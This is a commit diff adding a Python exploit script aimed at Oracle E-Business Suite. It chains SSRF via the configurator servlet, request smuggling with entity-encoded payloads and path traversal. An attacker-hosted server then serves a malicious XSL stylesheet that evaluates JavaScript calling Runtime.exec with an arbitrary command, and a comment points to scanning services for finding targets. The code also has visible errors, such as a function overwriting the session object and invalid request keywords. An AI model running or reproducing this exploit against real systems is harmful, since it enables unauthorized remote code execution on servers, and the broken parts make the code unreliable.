Add xp.py

xp.py

@@ -0,0 +1,152 @@
+import base64
+import logging
+import sys
+import urllib.parse
+import requests
+import urllib3
+from aiohttp import web
+
+urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
+logging.basicConfig(level=logging.DEBUG)
+routes = web.RouteTableDef()
+sess = requests.Session()
+sess.verify = False
+
+conflagorator = ""
+
+@routes.get('/OA_HTML/help/../%252Fieshostedsurvey.xsl')
+async def h1(request):
+    global conflagorator
+    return web.Response(text=conflagorator)
+
+#https://docs.oracle.com/cd/E26401_01/doc.122/e49076/T349071T351261.htm
+@routes.post('/OA_HTML/help/../%252FibeCRgpIndividualUser.jsp')
+async def h2(request):
+    global conflagorator
+    return web.Response(text=conflagorator)
+
+def sess(tgt):
+    global internals, hdr
+    r = sess.get(tgt + "/OA_HTML/%252Frunforms.jsp", hdrs=hdr, allow_redirects=False)
+    if r.status_code == 302:
+        loc = r.hdrs['Location']
+        loc_url = urllib.parse.urlparse(loc)
+        if loc_url.hostname != internals:
+            print(f'+ {loc_url.hostname} reset')
+        internals = loc_url.hostname
+        sess.get(f'{tgt}{loc_url.path}?{loc_url.query}')
+    h2 = hdr.copy()
+    h2.update({"CSRF-XHR": "YES", "FETCH-CSRF-TOKEN": "1"})
+    r2 = sess.post(tgt + "/OA_HTML/JavaScriptServlet", hdrs=h2)
+    tok = r2.text.split(":")[1]
+    if tok:
+        return tok
+    else:
+        sys.exit(1)
+
+def begingen(pl):
+    if pl.startswith("POST "):
+        pl = pl[5:]
+    elif pl.startswith("GET "):
+        pl = pl[4:]
+    elif pl.startswith("PATCH "):
+        pl = pl[6:]
+    pl = pl.replace("\n", "\r\n")
+    # entities Loooooooool  
+    return ''.join([f'&#{ord(c)};' for c in pl])
+
+def ssrf(tgt, pl):
+    xml = f'''<?xml version="1.0" encoding="UTF-8"?>
+<initialize>
+    <param name="init_was_saved">test</param>
+    <param name="return_url">http://{internals}:7201{pl}</param>
+    <param name="ui_def_id">0</param>runforms
+    <param name="config_effective_usage_id">0</param>
+    <param name="ui_type">Applet</param>
+</initialize>'''
+    print('+ ssrf attempt')
+    sess.post(tgt + "/OA_HTML/configurator/UiServlet", hdrs=hdr,
+              data={"redirectFromJsp": "1", "getUiType": xml})
+    print('+ check receiver server')
+
+def splitter(tgt, evil):
+    sess(tgt)
+    print('+ prepping brahhh ')
+    keep = "\r\n\r\n\r\nPOST /"
+    cookies = "; ".join([f"{c.name}={c.value}" for c in sess.cookies])
+    rce = f'''POST /OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.2
+Host: {evil}
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+Connection: keep-alive
+Cookie: {cookies}
+
+'''
+    rce += keep
+    pl = begingen(rce)
+    ssrf(tgt, pl)
+
+if __name__ == '__main__':
+    print("hi")
+    if len(sys.argv) < 2:   
+        print("wtf")
+        sys.exit(1)
+
+    mode = sys.argv[1]
+    hdr = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}
+
+    if mode == "server":
+        if len(sys.argv) != 5:
+            sys.exit(1)
+        port = int(sys.argv[2])
+        # censys/shod
+        system = sys.argv[3].lower() 
+        cmd = sys.argv[4]
+        shell = ['sh', '-c']
+        if system == 'windows':
+            shell = ['cmd', '/c']
+        else:
+            print("?")
+            sys.exit(1)
+        js = f"""
+    var stringc = java.lang.Class.forName('java.lang.String');
+    var cmds =  java.lang.reflect.Array.newInstance(stringc,3);
+    java.lang.reflect.Array.set(cmds,0,'{shell[0]}');
+    java.lang.reflect.Array.set(cmds,1,'{shell[1]}');
+    java.lang.reflect.Array.set(cmds,2,'{cmd}');
+    java.lang.Runtime.getRuntime().exec(cmds);
+    1
+        """
+        b64jsp = base64.b64encode(js.encode()).decode()
+        conflagorator = f'''<xsl:stylesheet version="1.0"
+                    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
+                    xmlns:b64="http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder"
+                    xmlns:jsm="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager"
+                    xmlns:eng="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine"
+                    xmlns:str="http://www.oracle.com/XSL/Transform/java/java.lang.String">
+        <xsl:template match="/">ies
+            <xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'{b64jsp}')"/>
+            <xsl:variable name="js" select="str:new($bs)"/>
+            <xsl:variable name="m" select="jsm:new()"/>
+            <xsl:variable name="e" select="jsm:getEngineByName($m, 'js')"/>
+            <xsl:variable name="code" select="eng:eval($e, $js)"/>
+            <xsl:value-of select="$code"/>
+        </xsl:template>
+    </xsl:stylesheet>'''
+        app = web.Application()
+        app.add_routes(routes)
+        web.run_app(app, port=port)
+
+    elif mode == "clap":
+        if len(sys.argv) != 4:
+            sys.exit(1)
+        targ = sys.argv[2]
+        lmao = sys.argv[3]
+        if targ.endswith("/"):
+            targ = targ[:-1]
+        internals = urllib.parse.urlparse(targ).hostname
+        print(f'+ {internals}')
+        splitter(targ, lmao)
+        print("ok we GOOD")
+    else:
+        sys.exit(1)